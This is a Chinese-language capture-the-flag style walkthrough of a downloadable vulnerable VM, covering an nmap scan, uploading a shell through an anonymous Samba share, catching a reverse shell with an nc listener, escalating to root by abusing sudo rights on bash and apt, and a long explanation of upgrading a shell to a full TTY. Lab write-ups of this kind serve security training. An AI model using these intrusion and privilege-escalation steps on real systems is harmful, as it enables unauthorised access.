# 靶场搭建

下载:https://mega.nz/file/EfJhXZJI#fcUtdUtiyDnwXc56qio8N3R2c-XHOAK4ZeypKm94oeI

导入 VM,NAT 模式打开

IP: 192.168.1.128

# 渗透过程

# 信息初收集

22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 00:0C:29:03:6E:36 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
server          Disk      Developer Directory
IPC$            IPC       IPC Service (Samba 4.17.12-Debian)

S-1-22-1-1000 Unix User\s3cur4 (Local User) 

用 smb 连一下 server,发现空口令可以进入,看了一下没东西,尝试 PUT 一个 shell 上去。OK 了家人,直接反弹出来 shell。

# 提权

拿到 shell 之后想办法提权, sudo -l 发现有 bash 的权限: sudo -u s3cur4 /usr/bin/bash 拿到 s3cur4 的 shell。再次 sudo -l 发现有 apt,查阅 gtfobins 得到 apt 提权方法。

尝试的时候发现有问题,是 tty 不全的情况,所以需要升级 shell。没有 python 环境,所以要徒手升级

script /dev/null -c bash
Script started, output log file is '/dev/null'.
s3cur4@exec:/$ ^Z
zsh: suspended  nc -lnvp 443
┌──(root㉿kali)-[~/Desktop]
└─# stty raw -echo;fg
[1]  - continued  nc -lnvp 443
                              reset xterm
s3cur4@exec:/$ export TERM=xterm-256color
s3cur4@exec:/$ source /etc/skel/.bashrc

OK 了家人们,完全 shell 已经 OK 了

直接 sudo apt changelog apt

跟 vi 一样,最下面输入 !/bin/bash

OJBK 了家人,root 了

# 小结

徒手提升交互式 shell 的步骤:

  1. script /dev/null -c bash
    • 这个命令的目的是在一个新的子 shell 中运行 bash,并将所有的输入和输出记录到 /dev/null 文件中。/dev/null 是一个特殊的设备文件,它会将所有的输入都丢弃,因此这里使用它作为输出日志的存储位置。通过这种方式,可以隐藏输出日志,而不会占用磁盘空间。
  2. Ctrl + Z 挂起
  3. stty raw -echo;fg
    • 这个命令是用来恢复被挂起的前台任务。stty raw -echo 用于设置终端的输入模式为原始模式(raw mode),并关闭回显(echo)。这样做是为了在后续的操作中,让终端能够正确地处理特殊字符和输入。然后,fg 命令将挂起的前台任务带回到前台运行。
  4. reset xterm : 将终端恢复到默认的设置状态。这包括终端的行编辑模式、文本属性、光标位置等。执行 reset 命令可以清除终端上显示的任何乱码、特殊字符或其他异常状态,使终端恢复正常。
  5. export TERM=xterm-256color
    • 这个命令用于设置环境变量 TERM 的值为 xterm-256color。TERM 环境变量通常用于指定终端类型,以便应用程序可以根据不同的终端类型来进行适配。在这个例子中,将终端类型设置为 xterm-256color 是为了确保正确的终端显示和颜色支持。
  6. source /etc/skel/.bashrc
    • 这个命令用于加载 /etc/skel/.bashrc 文件中的 bash 配置。/etc/skel/.bashrc 通常是一个系统级别的 bash 配置文件,它包含了一些默认的配置和别名。通过加载这个文件,可以确保每次启动 bash 时都会应用这些配置。

我觉得核心就是调整成 raw 模式,不然输入输出都有问题啊

在执行 stty raw -echo 之前,终端通常处于 "cooked" 模式,也称为 "canonical" 模式。

在 "cooked" 模式下,终端会对输入进行一些处理。例如,当你按下回车键时,终端会将输入的字符发送给应用程序进行处理。这种模式下,终端会提供一些特性,如行编辑、输入缓冲和回显等。

而将终端设置为 "raw" 模式的目的是禁用这些特性,使输入和输出的处理更为简单和直接。在 "raw" 模式下,终端会将所有的输入字符直接传递给应用程序,而不进行任何处理。同时,也不会在屏幕上回显输入的字符。

将终端设置为 "raw" 模式通常用于特殊的应用程序场景,例如网络连接、串口通信或需要精确控制输入输出的程序。通过禁用终端的特性,可以确保输入和输出的准确性和实时性。这样做可以解决一些问题,比如:

  1. 去除输入缓冲延迟:在 "cooked" 模式下,终端会缓冲一定数量的输入字符,直到用户按下回车键才将其发送给应用程序。在某些情况下,这种缓冲会引起输入的延迟,而 "raw" 模式可以消除这种延迟。
  2. 精确控制输入:在 "cooked" 模式下,终端会处理一些特殊字符,如删除、退格、CTRL+C 等。这些特殊字符的处理可能会干扰某些特殊应用程序的输入,而 "raw" 模式可以确保输入字符的准确传递。
  3. 避免回显:在 "cooked" 模式下,终端会将输入的字符回显到屏幕上。对于某些敏感信息(如密码),这可能会导致安全问题。"raw" 模式可以禁止回显,确保输入内容不会在屏幕上显示。